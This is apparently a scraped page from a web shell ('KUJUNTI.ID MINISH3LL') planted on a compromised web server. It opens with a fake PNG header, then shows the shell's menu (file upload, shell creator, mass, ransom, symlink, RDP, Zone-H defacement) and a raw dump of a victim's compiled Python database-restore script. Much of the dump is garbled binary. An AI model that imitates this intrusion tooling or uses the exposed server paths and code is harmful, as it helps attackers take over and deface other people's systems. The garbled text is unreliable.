\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv3/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv3/__pycache__/restore_database.cpython-310.pyc


o

�-�g��@s
dZddlZddlZddlZddlZddlZddlmZddlmZddl	m
Z
mZejej
dd�e�e�Zdd	�Zd
d�Zdd
�Zedkr�eej�dkrWed�e�d�eejd�Zee�Zedrseed�e�d�dSeded���e�d�dSdS)u}
yedekleDB24 için veritabanı geri yükleme scripti.
Bu script, yedeklenmiş veritabanını orijinal konumuna geri yükler.
�N)�datetime)�current_app)�	BackupLog�dbz4%(asctime)s - %(name)s - %(levelname)s - %(message)s)�level�formatcCs�z_dddddd|ddt|d	�d
|dd|d
|g}tj��}|d|d<t�d|d
���tj|tjtj|d�}|�	�\}}|j
dkrSt�d|�����WdSt�d|d
���WdSt
y|}zt�dt|����WYd}~dSd}~ww)u 
    PostgreSQL veritabanını geri yükler.
    
    Args:
        db_conn (dict): Veritabanı bağlantı bilgileri (host, port, username, password, database)
        backup_file (str): Yedek dosyasının yolu
        
    Returns:
        bool: Başarılı ise True, değilse False
    �
pg_restorez--cleanz--if-existsz
--no-ownerz--no-privilegesz-h�hostz-p�portz-U�usernamez-d�database�password�
PGPASSWORDu)PostgreSQL veritabanı geri yükleniyor: )�stdout�stderr�envr�#Veritabanı geri yükleme hatası: F�(Veritabanı başarıyla geri yüklendi: TN)�str�os�environ�copy�logger�info�
subprocess�Popen�PIPE�communicate�
returncode�error�decode�	Exception)�db_conn�backup_file�pg_restore_cmdr�processrr�e�r'�B/var/www/html/yedekledb24/DatabaseBackupMaster/restore_database.py�restore_postgresql_databases@�
�
��r)c
Cszkdd|ddt|d�d|dd|d	|d
g}t�d|d
���t|d��}tj||tjtjd
�}|��\}}Wd�n1sHwY|jdkr_t�	d|�
����WdSt�d|d
���WdSty�}zt�	dt|����WYd}~dSd}~ww)u#
    MySQL/MariaDB veritabanını geri yükler.
    
    Args:
        db_conn (dict): Veritabanı bağlantı bilgileri (host, port, username, password, database)
        backup_file (str): Yedek dosyasının yolu
        
    Returns:
        bool: Başarılı ise True, değilse False
    �mysqlz--host=r	z--port=r
z--user=rz--password=r
ru$MySQL veritabanı geri yükleniyor: �rb)�stdinrrNrrFrT)rrr�openrrrrrrr r!)r"r#�	mysql_cmd�fr%rrr&r'r'r(�restore_mysql_databaseNs8


�
��

��r0c

CsXz�tj�|�}|sdd|�d�d�WS|j}|j}|js"ddd�WS|j}tj�|�s4dd|��d�WS|j	|j
|j|j|j|j
d�}|j
dkrNt||�}n|j
d	vrYt||�}n
dd
|j
��d�WS|r�t��}d|�dtj�|��d�}d
d|j��d�WSddd�WSty�}	zt�dt|	����ddt|	���d�WYd}	~	Sd}	~	ww)u�
    Bir yedekten veritabanını geri yükler.
    
    Args:
        log_id (int): Yedekleme kaydının ID'si
        
    Returns:
        dict: İşlem sonucu (success: bool, message: str)
    FuYedek kaydı bulunamadı (ID: �))�success�messageuYedek dosyası bulunamadıuYedek dosyası bulunamadı: )r	r
rr
r�db_type�
postgresql)r*�mariadbu!Desteklenmeyen veritabanı tipi: uYedek geri yüklendi (ID: z	, Dosya: TruKVeritabanı geri yükleme işlemi başarısız oldu. Logları kontrol edin.uGeri yükleme hatası: N)r�query�get�jobrr#r�path�existsr	r
rr
r4r)r0r�utcnow�basename�namer!rrr)
�log_id�
backup_log�
backup_jobr"r#�
db_connectionr2�now�restore_messager&r'r'r(�restore_from_backup|s^

����



�
�����rE�__main__�u.Kullanım: python restore_database.py <log_id>�r2r3zHata: )�__doc__r�sys�logging�tempfilerr�flaskr�modelsrr�basicConfig�INFO�	getLogger�__name__rr)r0rE�len�argv�print�exit�intr?�resultr'r'r'r(�<module>s:�
4.S
�

© KUJUNTI.ID